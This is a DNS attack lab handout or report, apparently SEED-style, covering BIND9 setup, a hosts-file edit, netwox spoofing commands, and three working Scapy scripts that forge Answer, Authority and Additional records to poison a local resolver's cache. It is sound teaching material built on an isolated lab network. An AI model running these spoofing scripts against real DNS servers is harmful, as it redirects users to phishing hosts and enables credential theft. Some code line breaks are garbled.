Local DNS Attack Lab

Table of Contents:

Lab Setup

DNS Server	:	10.0.2.11
Attacker	:	10.0.2.9
Victim	:	10.0.2.10

Part I: Setting Up a Local DNS Server

Task 1: Configure the User Machine

Set the DNS Server on the victim machine.

Provide a screenshot of your observations.

Task 2: Set Up a Local DNS Server

Step 1: Configure the BIND9 Server.

BIND9 gets its configuration from a file called `/etc/bind/named.conf`. This file is the primary configuration file, and it usually contains several "include" entries. One of the included files is called `/etc/bind/named.conf.options`. This is where we typically set up the configuration options. Let us first set up an option related to the DNS cache by adding a dump-file entry to the options block. The above option specifies where the cached content should be dumped if BIND is asked to dump its cache.

Provide a screenshot of your observation.

Step 2: Turn off DNSSEC

We turn off the protection against spoofing in the DNS server. This is done by modifying the `named.conf.options` file. We comment out the `dnssec-validation` entry and add a `dnssec-enable` entry.
Provide a screenshot of your observation.

Step 3: Start DNS server

We start the DNS server.

Command:

```
sudo service bind9 restart
```

Note: If bind9 server is not already installed, install using the command

```
sudo apt-get install bind9
```

Provide a screenshot of your observation.

Step 4: Use the DNS server

When we ping www.google.com from the victim machine (10.0.2.10), we can see that it sends a DNS query to the DNS server (10.0.2.11) and the DNS server further sends the query to the root, TLD and nameservers.

When we ping the same host (www.google.com) again, we will see that on receiving the DNS query request, the DNS server will send a DNS reply with the IP address of the host. It shows that the DNS server has cached the information about the root servers, TLDs and nameservers.

Provide a screenshot of your observation.

Task 3: Host a Zone in the Local DNS server.

Step 1: Create Zones

We had two-zone entries in the DNS server by adding the following contents to `/etc/bind/named.conf` as shown in the below screenshot. The first zone is for forward lookup (from hostname to IP), and the second zone is for reverse lookup (from IP to hostname).

Command:

```
cat /etc/bind/named.conf
```

```
zone "example.com" {
type master;
file "/etc/bind/example.com.db";
};

zone "2.0.10.in-addr.arpa" {
type master;
file "/etc/bind/10.0.2.db";
};
```

Step 2: Setup the forward lookup zone file

We create an `example.com.db` zone file with the following contents in the `/etc/bind/`
directory where the actual DNS resolution is stored.

```
seed@10.0.2.11:.../bind$ cat example.com.db
$TTL 3D
@       IN      SOA     ns.example.com. admin.example.com. (
                2008111001
                8H
                2H
                4W
                1D)

@       IN      NS      ns.example.com.
@       IN      MX      10 mail.example.com.

www     IN      A       10.0.2.101
mail    IN      A       10.0.2.102
ns      IN      A       10.0.2.12
*.example.com.  IN      A 10.0.2.100
```

Provide a screenshot of your observation.

Step 3: Setup the reverse lookup zone file

We create a reverse DNS lookup file called 10.0.2.db for the example.net domain to support DNS reverse lookup, i.e., from IP address to hostname in the `/etc/bind/` directory with the following contents.

```
seed@10.0.2.11:.../bind$ cat 10.0.2.db
$TTL 3D
@       IN      SOA     ns.example.com. admin.example.com. (
                2008111001
                8H
                2H
                4W
                1D)
@       IN      NS      ns.example.com.

101     IN      PTR     www.example.com.
102     IN      PTR     mail.example.com.
12      IN      PTR     ns.example.com.
```

Provide a screenshot of your observation.

Step 4: Restart the BIND server and test

Now we will restart the DNS server using the following command:

```
$ sudo service bind9 restart
```

Provide a screenshot of your observation.

Now, on the victim machine, we can check using the "`dig`" command

Command:

```
$ dig www.example.com
```

Provide a screenshot of your observation.

We can see that the ANSWER SECTION contains the DNS mapping. We can see that the IP address of www.example.com is now 10.0.2.101, which is what we have set up in the DNS server.

Part II: Attacks on DNS

The objective of this task is to redirect the user to another machine B when the user tries to get to machine A using A's hostname. For example, when the user tries to access online banking, if the adversaries can redirect the user to a malicious website that looks very much like the main website of the bank, the user might be fooled and give away the password of his/her online banking account.

When a user types in http://www.example.net in his/her browsers, the user's machine will issue a DNS query to find out the IP address of this website. Our goal is to fool the user's machine with a faked DNS reply which resolves the hostname to a malicious IP address.

Task 4: Modifying the Host File

In this task, we will see how to perform a DNS attack if the victim's machine is compromised.

On the victim machine, **`ping www.bank32.com`**

Provide a screenshot of your observation.

Now, we modify the `/etc/hosts` file with the IP address of www.bank32.com as 10.0.2.9 (Attacker machine).

We see that when we send ping requests to www.bank32.com, we get ICMP response back from the "10.0.2.9" (Attacker machine) as well as the browser gives the default page of the Apache server running in the Attacker machine. `/etc/hosts` file is used for the local lookup for the IP addresses. Hence, if the file is compromised the attacker can redirect the user to a malicious page.

Provide a screenshot of your observation.

Task 5: Directly Spoofing Response to User

The following screenshot shows the output of the dig command for www.example.net from the victim machine. The victim machine sends out a DNS query to the local DNS server, which will eventually send out a DNS query to the authoritative nameserver of the example.net domain.

Command:

```
$ dig www.example.net
```

Provide a screenshot of your observation.

In this attack, we target the DNS queries from the victim machine (10.0.2.10). In our forged reply, we map www.example.net to 10.0.2.9 and the authoritative server as 10.0.2.19. The netwox tool sniffs the DNS query packet from host "10.0.2.10" (filter) and responds with a forged DNS response packet.

```
seed@10.0.2.10:~$ sudo netwox 105 --hostname "www.example.net" --hos
tnameip 10.0.2.9 --authns "ns.example.net" --authnsip 10.0.2.19 --fi
lter "src host 10.0.2.10" --ttl 19000 --spoofip raw
```

Provide a screenshot of your observation.

When the attack program is running, we run "dig www.example.net" on behalf of the user. We see that the victim machine gets a forged reply.

Command:

```
$ dig www.example.net
```

DNS forged response with Answer section and Authoritative section. Capture using Wireshark

Provide a screenshot of your observation.

Capture using Wireshark.

We may need to clean the cache of the DNS server using the below command, as it may already contain the information of the domain www.example.net.

Command:

```
$ sudo rndc flush
```

Provide a screenshot of your observation.

We can dump the DNS cache to a file in the DNS server using the command "`sudo rndc dumpdb -cache`". The file is created in `/var/cache/bind/dump.db` in our case. The contents are as follows:

Task 6: DNS Cache Poisoning Attack

In this attack, we target the DNS queries from the local DNS server (10.0.2.11). In our forged reply, we map www.google.com to 10.0.2.9 and the authoritative server as 10.0.2.19. The `netwox` tool sniffs the DNS query packet from the DNS server "10.0.2.11" (filter) and sends the forged DNS response packets to the DNS server.

```
seed@10.0.2.10:~$ sudo netwox 105 --hostname "www.google.com" --host
nameip 10.0.2.9 --authns "ns.example.net" --authnsip 10.0.2.19 --fil
ter "src host 10.0.2.11" --ttl 19000 --spoofip raw
[sudo] password for seed:
```

Provide a screenshot of your observation.

When the attack program is running, we run "dig www.google.com" on behalf of the user. From the below screenshot, we see that the victim machine gets a forged reply from the DNS server with the Answer section, Authority section and Additional section.

Command:

`$ dig www.google.com`

Provide a screenshot of your observation.

Use Wireshark and capture the DNS query sent to the DNS server (10.0.2.11) and show that the forged response sent by the server after the cache poisoning was successful.

Provide a screenshot of your observation.

We can dump the DNS cache to a file in the DNS server using the command "`sudo rndc dumpdb -cache`". The file is created in `/var/cache/bind/dump.db` in our case. The contents are as follows:

Task 7: DNS Cache Poisoning: Targeting the Authority Section

The objective of this task is to launch DNS Cache poisoning using the Authority section in DNS replies. In addition to spoofing the answer (in the Answer section), we also add "ns.attacker32.com" to the Authority section. When this entry is cached by the local DNS server,

ns.attacker32.com will be used as the nameserver for future queries of any hostname in the example.net domain.

To achieve this task, we will write a Scapy code to sniff DNS requests from the DNS server and send spoofed DNS responses with the answer section and authoritative section. The below screenshot shows the code to sniff DNS requests and send a forged response.

```
#!/usr/bin/python
from scapy.all import *

def spoof_dns(pkt):
    if (DNS in pkt and 'example.net' in pkt[DNS].qd.qname):
        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
        UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname,type='A',ttl=259200,rdata='10.0.2.9')
        NSsec =
        DNSRR(rrname=(pkt[DNS].qd.qname)[4:],type='NS',ttl=259200,rdata='attacker32.com') DNSpkt
        =
DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qdcount=1,qr=1,ancount=1,nscount=1,an=Anssec,ns=NSsec)
        spoofpkt = IPpkt/UDPpkt/DNSpkt
        send(spoofpkt)

pkt = sniff(filter='udp and (src host 10.0.2.11 and dst port 53)', prn=spoof_dns)
```

Execute the program on Attacker VM

```
sudo python filename.py
```

Provide a screenshot of your observation.

In the above code, we sniff packets with UDP protocol, source IP address as 10.0.2.11 (DNS server) and destination port as 53. When the DNS server sends DNS query requests, our program sniffs for the packets create new DNS response packets with the Answer section, Authority section. For answer and authority sections, we create DNS Response records with Resource Record name, Record type as ‘Answer (A)’ or ‘NameServer (NS)’, resource data as IP address or domain name.

We create a DNS packet with the following:
ID: Same as DNS request
QD (Query Domain): Same a DNS Request
AA (Authoritative answer): 1, to tell the DNS server that the answer contains an Authoritative answer
RD (Recursion Desired): 0, to disable Recursive queries
QDCOUNT (Query domain count): 1
QR (Query Response bit): 1, for Response
ANCOUNT (Answer Record count): 1
NSCOUNT (NameServer count): 1
AN (Answer Section) and NS (NameServer section)

We can `ls()` to get the header details of the DNS packet, DNS Resource Record packet and DNS query packet.

Provide a screenshot of your observation.

We run "dig www.example.net" on behalf of the user. From the below screenshot, we see that the victim machine gets a forged reply from the DNS server with the Answer section and Authority section. The authority section contains the forged response of "ns.attacker32.com".

Command:

```
$ dig www.example.net
```

We can check the cache dump which caches the authority name server and answer.

Provide a screenshot of your observation.

Using Wireshark, we can see that a DNS query request is sent to our DNS server (10.0.2.11). As
the server knows the nameserver of the domain (due to cache poisoning), it sends query requests for attacker32.com. It shows that our cache poisoning attack is successful.

Task 8: Targeting Another Domain

The objective of this task is to extend the impact of the cache poisoning with a nameserver for the domain to other domains. We would like to add an additional entry in the Authority section so attacker32.com is also used as the nameserver for google.com.

The following code sends DNS response with two authoritative entries similarly as we did for the previous task. We create a Name Server Resource Record for "google.com" with "attacker32.com" as the domain.

```
#!/usr/bin/python
from scapy.all import *

def spoof_dns(pkt):
        if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
                IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
                UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
                Anssec = DNSRR(rrname=pkt[DNS].qd.qname,type='A',ttl=259200,rdata='10.0.2.9')
                NSsec1 =
                DNSRR(rrname=(pkt[DNS].qd.qname)[4:],type='NS',ttl=259200,rdata='attacker32.com'
                ) NSsec2 = DNSRR(rrname='google.com',type='NS',ttl=259200,rdata='attacker32.com')
```

```
                DNSpkt =
                DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qdcount=1,qr=1,ancount=1,nscount=2,an=
                Anssec,ns=NSsec1/NSsec2)
                spoofpkt = IPpkt/UDPpkt/DNSpkt
                send(spoofpkt)
pkt = sniff(filter='udp and (src host 10.0.2.11 and dst port 53)', prn=spoof_dns)
```

After running the code, we run "dig www.example.net" on behalf of the user. From the below screenshot, we see that the victim machine gets a forged reply from the DNS server with the Answer section and Authority section. The authority section contains the forged response for "example.net", but not for "google.com".

Command:

```
$ dig www.example.net
```

Capture everything on Wireshark.

Provide a screenshot of your observation.

We can see that the forged DNS response contains the entries for two authoritative nameservers: "example.net" and "google.com"

Provide a screenshot of your observation.

The second record for the authority section is fraudulent and hence it is discarded and not cached. The decision is based on zones. The query is sent to the example.net zone, so the DNS resolver will use example.net to decide whether the data in the information is inside this zone or outside. The first record is inside the zone, so it is accepted. Also, though "attacker.com" is not in the same zone as "example.net", it is fine because a domain's authoritative name servers do not necessarily need to be a name inside the domain. However, the second record is "google.com", which is not inside the zone of "example.net", so it will be discarded.

Task 9: Targeting the Additional Section

The objective of this task is to spoof some entries in the Additional section and check whether they will be successfully cached by the target local DNS server. When responding to the query for www.example.net, we add the additional entries in the spoofed reply, along with the entries in the Answer section. We need to add the Answer section in the DNS packet as an Additional record (ar).

The below code shows that we create Additional sections with the Resource Record name (domains/nameservers) and Resource data (IP address). The resource record names are "attacker32.com", "ns.example.com", "www.facebook.com".

```
#!/usr/bin/python
from scapy.all import *

def spoof_dns(pkt):
        if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
                IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
                UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

                Anssec = DNSRR(rrname=pkt[DNS].qd.qname,type='A',ttl=259200,rdata='10.0.2.9')
                NSsec1 =
                DNSRR(rrname=(pkt[DNS].qd.qname)[4:],type='NS',ttl=259200,rdata='attacker32.com')
                NSsec2 =
                DNSRR(rrname=(pkt[DNS].qd.qname)[4:],type='NS',ttl=259200,rdata='ns.example.net')

                Addsec1 = DNSRR(rrname='attacker32.com',type='A',ttl=259200,rdata='1.2.3.4')
                Addsec2 = DNSRR(rrname='ns.example.net',type='A',ttl=259200,rdata='5.6.7.8')
                Addsec3 =
                DNSRR(rrname='www.facebook.com',type='A',ttl=259200,rdata='3.4.5.6')

                DNSpkt =
                DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qdcount=1,qr=1,ancount=1,nscount=2,arco
                unt=3,an=Anssec,ns=NSsec1/NSsec2,ar=Addsec1/Addsec2/Addsec3)
                spoofpkt = IPpkt/UDPpkt/DNSpkt
                send(spoofpkt)

pkt = sniff(filter='udp and (src host 10.0.2.11 and dst port 53)', prn=spoof_dns )
```

After running the script, we run the command “dig www.example.net” on behalf of the user. From the below screenshot, we see that the victim machine gets a forged reply from the DNS server with the Answer section, Authority section and Additional section. The authority section contains the forged responses for “example.net”. The additional section contains the forged responses for “ns.example.net” and “attacker32.com”, but not for www.facebook.com.

Command:

```
$ dig www.example.net
```

Provide a screenshot of your observation.

In addition, we provide fake IP addresses for “ns.example.net”, “attacker32.com” and www.facebook.com. The two accepted additional records are part of the authority section and hence, the additional information of IP addresses for the two domains is accepted whereas www.facebook.com is out of the zone and hence, the record gets discarded.

Submission:

You need to submit a detailed lab report to describe what you have done and what you have observed; you also need to provide explanations of the observations that are interesting or surprising. Please also list the important code snippets followed by an

explanation. Simply attaching code without any explanation will not receive credit